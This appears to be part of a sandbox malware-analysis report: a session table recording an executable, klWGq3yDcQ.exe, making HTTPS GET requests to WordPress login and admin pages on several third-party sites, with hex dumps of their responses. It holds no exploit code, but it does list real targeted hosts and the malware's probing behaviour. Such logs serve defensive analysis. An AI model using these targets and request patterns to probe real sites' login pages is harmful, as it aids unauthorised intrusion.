2023-11-26 06:00:00 UTC	606	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 31 32 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 34 31 32 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 0a 3c 70 3e 59 6f 75 72 20 72 65 71 75 65 73 74 20 67 6f 74 20 66 69 6c 74 65 72 65 64 20 6f 75 74 20 64 75 65 20 74 6f 20 70 6f 73 73 69 62 6c 65 20 73 65 63 75 72 69 74 79 20 69 73 73 75 65 73 2e 3c 2f 70 3e 0a 0a 3c 70 3e 4f 6e 65 20 6f 72 20 6d 6f 72 65 20 74 68 69 6e 67 73 20 69 6e 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 77 65 72 65 20 73 75 73 70 69 63 69 6f 75 73 20 28 64 65 66 65 63 74 69 76 65 20 72 65 71 75 65 73 74 20 68 65 61 64 65 72 2c 20 69 6e 76 61 6c 69 64 20 63 6f 6f 6b 69 65 73 2c 20 62 61 64 20 70 61 72 61 6d 65 74 65 72 Data Ascii: <html><head><title>412 Error</title></head><body><h1>412 Error</h1><p>Your request got filtered out due to possible security issues.</p><p>One or more things in your request were suspicious (defective request header, invalid cookies, bad parameter

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	56409	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:00 UTC	581	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 32 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/html; charset=UTF-8Content-Length: 6238Connection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineSet-Cookie:
2023-11-26 06:00:00 UTC	6238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	56411	54.233.137.124	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	162	OUT	GET / HTTP/1.1 Host: www.rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	621	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 70 74 2d 42 52 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6f 72 69 67 69 6e 44 69 72 65 63 74 3d 74 72 75 65 3b 20 4d 61 78 2d 41 67 65 3d 36 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:01 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Set-Cookie: originDirect=true; Max-Age=60
2023-11-26 06:00:01 UTC	15763	IN	Data Raw: 37 64 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7d88<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
2023-11-26 06:00:01 UTC	16381	IN	Data Raw: 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 61 64 65 73 69 76 6f 73 2d 64 65 63 61 6c 71 75 65 73 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 41 64 65 73 69 76 6f 73 20 26 61 6d 70 3b 20 44 65 63 61 6c 71 75 65 73 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 Data Ascii: onclick="sendKinesisDataAjax({actionID: 'click',actionData:`adesivos-decalques - category2`})">Adesivos & Decalques</a><a class="sub-menu-item-link"
2023-11-26 06:00:01 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 74 65 72 2d 73 65 6c 65 63 74 20 79 2d 79 65 61 72 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4e c3 ba 6d 65 72 6f 20 64 65 20 53 c3 a9 72 69 65 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 66 69 6c 74 65 72 2d 62 75 74 74 6f 6e 20 62 74 6e 20 62 74 6e 2d 6c 67 20 6e 6f 2d 72 61 64 69 75 73 22 3e 46 69 6c 74 72 61 72 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 6e 61 76 3e 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 Data Ascii: 7fe0ter-select y-year" placeholder="Nmero de Srie"/><button type="submit" class="filter-button btn btn-lg no-radius">Filtrar</button></div></div></div></div></div></nav><script>var
2023-11-26 06:00:01 UTC	16360	IN	Data Raw: 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 77 6f 22 20 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 68 72 65 65 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 66 6f 75 72 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 Data Ascii: </div><div class="container-secondary-box-two" ></div><div class="container-secondary-box-three"></div><div class="container-secondary-box-four"><div class="footer__logo"><a hre
2023-11-26 06:00:01 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 0a 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 74 65 6d 70 6c 61 74 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 68 61 6e 64 6c 65 62 61 72 73 2d 74 65 6d 70 6c 61 74 65 22 3e 0a 09 09 7b 7b 23 69 66 20 73 6b 75 2e 62 65 73 74 7d 7d 0a 09 3c 64 69 76 20 69 74 65 6d 70 72 6f 70 3d 22 6f 66 66 65 72 73 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4f 66 66 65 72 22 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 6f 66 66 65 72 22 3e 0a 09 09 3c 6c 69 6e 6b 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e Data Ascii: 7fe0</script><script id="countdown-template" type="text/x-handlebars-template">{{#if sku.best}}<div itemprop="offers" itemscope="" itemtype="http://schema.org/Offer" class="countdown-offer"><link itemprop="url" href="https://www.rech.com/"/>
2023-11-26 06:00:01 UTC	16360	IN	Data Raw: 09 64 61 74 61 2d 6f 72 69 67 69 6e 70 72 69 63 65 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 6f 72 69 67 69 6e 50 72 69 63 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 65 6c 6c 65 72 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 65 6c 6c 65 72 4e 61 6d 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 69 64 3d 22 7b 7b 73 6b 75 2e 73 6b 75 49 64 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 6b 75 2d 6f 62 6a 3d 22 22 0a 09 09 09 09 09 09 64 61 74 61 2d 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 3d 22 7b 7b 73 6b 75 2e 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 74 6f 63 6b 2d 72 65 6d 61 69 6e 69 6e 67 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 22 0a 09 09 09 09 09 09 64 61 Data Ascii: data-originprice="{{sku.best.originPrice}}"data-seller="{{sku.best.sellerName}}"data-id="{{sku.skuId}}"data-sku-obj=""data-partnerStocks="{{sku.partnerStocks}}"data-stock-remaining="{{sku.best.stockRemaining}}"da
2023-11-26 06:00:01 UTC	3475	IN	Data Raw: 64 38 63 0d 0a 6e 64 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 54 65 72 74 69 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 51 75 61 74 65 72 6e 61 72 79 3a 20 27 23 32 36 37 37 46 39 27 2c 0a 09 09 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 3a 20 22 23 42 36 42 36 42 36 22 2c 0a 09 09 63 6f 6c 6f 72 45 72 72 6f 72 3a 20 22 23 45 41 30 38 30 38 22 2c 0a 09 09 63 6f 6c 6f 72 41 6c 65 72 74 3a 20 22 23 45 31 41 31 30 30 22 2c 0a 09 09 63 6f 6c 6f 72 53 75 63 63 65 73 73 3a 20 22 23 30 37 42 34 35 44 22 0a 09 7d 0a 0a 09 77 69 6e 64 6f 77 2e 63 77 73 54 68 65 6d 65 54 6f 6b 65 6e 73 28 74 6f 6b 65 6e 73 29 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 09 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a Data Ascii: d8cndary: '#4f4f4f',colorTertiary: '#4f4f4f',colorQuaternary: '#2677F9',colorNeutral: "#B6B6B6",colorError: "#EA0808",colorAlert: "#E1A100",colorSuccess: "#07B45D"}window.cwsThemeTokens(tokens)</script><script type="text/j
2023-11-26 06:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	56421	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 06:00:00 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 06:00:01 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	56435	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	184	OUT	GET /wp/wp-login.php HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	542	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:00 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=
2023-11-26 06:00:01 UTC	6439	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 38 29 20 5d 3e 3c 21 2d 2d 3e 0a 09 09 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: <!DOCTYPE html>...[if IE 8]><html xmlns="http://www.w3.org/1999/xhtml" class="ie8" lang="es" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"><![endif]-->...[if !(IE 8) ]>...><html xmlns="http://w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	56453	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	262	OUT	GET /wp-admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=hY8Vy7VtT12kDq0RfaLK5NeJRfcW.qBPudtlDQAWA4k-1700978399347-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	553	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: Wor
2023-11-26 06:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	56454	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:00 UTC	175	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 06:00:01 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	56451	3.111.240.6	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 06:00:01 UTC	172	OUT	GET /admin.php HTTP/1.1 Host: www.knu.ac.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 06:00:01 UTC	1099	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 58 53 52 46 2d 54 4f 4b 45 4e 3d 65 79 4a 70 64 69 49 36 49 6d 74 44 53 32 46 69 5a 30 64 57 4d 6a 42 31 54 6b 64 52 4b 33 42 6a 56 6b 49 78 5a 6b 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 48 46 57 4e 57 52 71 53 6b 78 6a 52 79 74 56 4f 54 52 6a 55 57 52 54 4d 32 5a 32 5a 58 64 35 54 6c 59 32 64 7a 51 34 4e 55 34 76 55 6b 6f 76 4d 6e 4a 32 54 6d 35 30 65 6d 39 68 54 58 67 30 61 33 6f 30 63 57 6c 73 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 06:00:01 GMTServer: ApacheCache-Control: no-cache, privateSet-Cookie: XSRF-TOKEN=eyJpdiI6ImtDS2FiZ0dWMjB1TkdRK3BjVkIxZkE9PSIsInZhbHVlIjoiWHFWNWRqSkxjRytVOTRjUWRTM2Z2ZXd5TlY2dzQ4NU4vUkovMnJ2Tm50em9hTXg0a3o0cWls

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	56537	45.40.150.54	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
